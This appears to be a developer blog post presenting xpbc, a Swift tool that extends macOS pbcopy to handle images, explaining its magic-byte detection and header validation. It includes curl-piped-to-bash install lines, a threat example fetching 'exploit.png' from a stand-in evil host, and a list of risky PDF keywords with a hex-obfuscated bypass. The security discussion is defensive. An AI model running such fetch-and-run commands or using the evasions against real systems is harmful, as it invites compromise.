If you've ever tried piping an image into pbcopy, you know the pain: it silently mangles the data, and Cmd+V pastes garbage. That's because pbcopy is text-only by design — it has no concept of image data on the clipboard.
I wanted a drop-in replacement that Just Works with images, so I built xpbc (eXtended PasteBoard Copy).
chigichan24
/
xpbc
eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.
xpbc
eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.
pbcopy only handles text. xpbc automatically detects whether stdin contains image data and copies it to the clipboard as an image. For plain text, it behaves exactly like pbcopy.
Quick Start
# Copy an image to the clipboard
cat screenshot.png | xpbc
# Copy text (same as pbcopy)
echo "hello" | xpbc
# Paste with Cmd+V in any app
Installation
Installer script
curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash
To install to a custom directory:
curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash -s -- /your/custom/path
The default install directory is ~/.local/bin.
From source
Requires Swift 6.0+ and macOS 13+.
git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local
Usage
xpbc [-pboard {general|ruler|find|font}] [--no-validate] [--help] [--version]
Pipe any data into xpbc via stdin. It automatically detects the format and copies accordingly.
Examples
# Images — detected…
cat screenshot.png | xpbc # image lands on clipboard, ready to paste
echo "hello" | xpbc # works exactly like pbcopy for text
Installation
# One-liner install
curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash
# Or build from source
git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local
Usage
# Copy images (format is auto-detected)
cat photo.jpg | xpbc
cat diagram.pdf | xpbc
cat icon.webp | xpbc
# Copy text (same as pbcopy)
echo "some text" | xpbc
git diff | xpbc
# Pipe from other commands
ffmpeg -i video.mp4 -vframes 1 -f image2pipe - | xpbc
curl -s https://example.com/image.png | xpbc
How It Works: Magic Bytes Detection
xpbc inspects the first few bytes of stdin to determine the data format — no file extensions, no flags, no guesswork.
Each format has a unique byte signature (magic bytes). For example, every valid PNG starts with exactly these 8 bytes: 89 50 4E 47 0D 0A 1A 0A. JPEG starts with FF D8 FF. xpbc checks these signatures to decide how to write to the clipboard.
The core abstraction is a FormatDetector protocol:
protocol FormatDetector: Sendable {
var detectedType: DataType { get }
func canDetect(from data: Data) -> Bool
}
Here's the PNG detector — clean and simple:
struct PNGDetector: FormatDetector {
let detectedType = DataType.png
private static let magic: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
func canDetect(from data: Data) -> Bool {
guard data.count >= Self.magic.count else { return false }
return data.prefix(Self.magic.count).elementsEqual(Self.magic)
}
}
Detector Ordering Matters
The detectors are checked in order of signature specificity — longest signatures first:
static let detectors: [FormatDetector] = [
PNGDetector(), // 8 bytes
GIFDetector(), // 6 bytes
WebPDetector(), // 4+4 bytes at offsets 0,8
FtypDetector(…), // HEIC: 4+4 bytes at offsets 4,8
FtypDetector(…), // AVIF: 4+4 bytes at offsets 4,8
TIFFDetector(), // 4 bytes
PDFDetector(), // 4 bytes
JPEGDetector(), // 3 bytes
BMPDetector(), // 2 bytes ← checked last
]
Why does this order matter? BMP's signature is just BM — two bytes. If checked first, any text file that happens to start with "BM" would be misidentified as a bitmap image. By checking the 8-byte PNG signature first, the chance of a false positive is astronomically low. The shorter the signature, the later it's checked.
Supported Formats
| Format | Signature | UTI |
|---|---|---|
| PNG | 8-byte header | public.png |
| JPEG | 3-byte header (FF D8 FF) |
public.jpeg |
| GIF | 6-byte header (GIF87a/GIF89a) |
com.compuserve.gif |
| TIFF | 4-byte header (LE/BE) | public.tiff |
| BMP | 2-byte header (BM) |
com.microsoft.bmp |
| WebP |
RIFF + WEBP markers |
public.webp |
| HEIC |
ftyp + heic brand |
public.heic |
| AVIF |
ftyp + avif brand |
public.avif |
%PDF header |
public.pdf |
If no image signature matches, xpbc falls back to text mode — same behavior as pbcopy.
Why No Image Decoding?
The most well-known tool in this space is impbcopy, which loads the image via NSImage and writes it to the clipboard through writeObjects:. Because NSImage conforms to NSPasteboardWriting, the image is internally converted to a TIFF representation before being placed on the clipboard.
xpbc takes a fundamentally different approach: it writes raw bytes directly to NSPasteboard with a single UTI — no decoding, no TIFF conversion.
This works because modern macOS (13+) and Electron-based apps (Slack, Notion, VS Code, etc.) can read public.png and public.jpeg directly from the clipboard. The historical need for TIFF as a clipboard lingua franca has faded.
The real benefit of zero decoding is a minimal attack surface. Image decoders are complex and historically prone to vulnerabilities. By never calling NSImage, CGImageSource, or ImageIO, xpbc avoids this entire class of risk. More on this below.
Security: Structural Validation
Here's a scenario to consider:
curl -s https://evil.example/exploit.png | xpbc
xpbc itself doesn't decode the image — so xpbc is safe. But the moment a user pastes with Cmd+V, the receiving application's image decoder (typically ImageIO) processes the data. Vulnerabilities like CVE-2023-41064 — a buffer overflow in ImageIO that enabled arbitrary code execution via a crafted image — show this is a real threat.
To mitigate this, xpbc includes a structural validation layer that runs after format detection and before clipboard write:
protocol FormatValidator: Sendable {
func validate(_ data: Data) -> ValidationResult
}
What Gets Validated
| Format | Validation |
|---|---|
| PNG | IHDR chunk exists, width/height > 0 |
| JPEG | Valid marker after SOI (0xC0–0xFE) |
| GIF | Logical Screen Descriptor width/height > 0 |
| TIFF | IFD offset within valid range |
| BMP | DIB header size is a known valid value |
| WebP | VP8/VP8L/VP8X chunk header present |
| HEIC/AVIF | ftyp box size conforms to ISO 14496-12 (>= 12) |
Boundary matching for /JS, /JavaScript, /OpenAction, /AA, /Launch
|
You can skip validation with --no-validate for trusted sources.
What It Intentionally Does NOT Do
This validation is a mitigation, not a guarantee. xpbc only inspects headers — it never touches the compressed payload. Here's what passes through:
- Structurally valid but malicious payloads — A PNG with a correct header but exploit code buried in the compressed data stream. Catching this would require a full decoder — the very thing xpbc avoids.
- Zip bombs — Valid headers that decompress to enormous sizes. xpbc's 100 MB cap is on raw input, not decompressed output.
-
Obfuscated PDF keywords — Hex-encoded dangerous keywords (
/#4A#53=/JS) or stream-compressed payloads. A full PDF parser could catch these, but it would itself become a new attack surface.
xpbc is best described as a "slightly smart byte forwarder." It keeps its own attack surface minimal by refusing to decode anything, while filtering out obviously malformed data before it reaches the clipboard.
Wrapping Up
xpbc is a small, focused tool: pipe image data in, get it on the clipboard, paste it anywhere. It supports 9 image formats, validates structural integrity, and avoids the security pitfalls of image decoding.
Give it a try and let me know what you think:
chigichan24
/
xpbc
eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.
xpbc
eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.
pbcopy only handles text. xpbc automatically detects whether stdin contains image data and copies it to the clipboard as an image. For plain text, it behaves exactly like pbcopy.
Quick Start
# Copy an image to the clipboard
cat screenshot.png | xpbc
# Copy text (same as pbcopy)
echo "hello" | xpbc
# Paste with Cmd+V in any app
Installation
Installer script
curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash
To install to a custom directory:
curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash -s -- /your/custom/path
The default install directory is ~/.local/bin.
From source
Requires Swift 6.0+ and macOS 13+.
git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local
Usage
xpbc [-pboard {general|ruler|find|font}] [--no-validate] [--help] [--version]
Pipe any data into xpbc via stdin. It automatically detects the format and copies accordingly.
Examples
# Images — detected…
Issues and PRs are welcome! If this sounds interesting, give it a ⭐ on GitHub.
United States
NORTH AMERICA
Related News
Jeff Bezos Seeking $100 Billion to Buy Manufacturing Companies, 'Transform' Them With AI
5h ago
Officer Leaks Location of French Aircraft Carrier With Strava Run
5h ago
Microsoft Says It Is Fixing Windows 11
5h ago
White House Unveils National AI Policy Framework To Limit State Power
5h ago
50% of Consumers Prefer Brands That Avoid GenAI Content
5h ago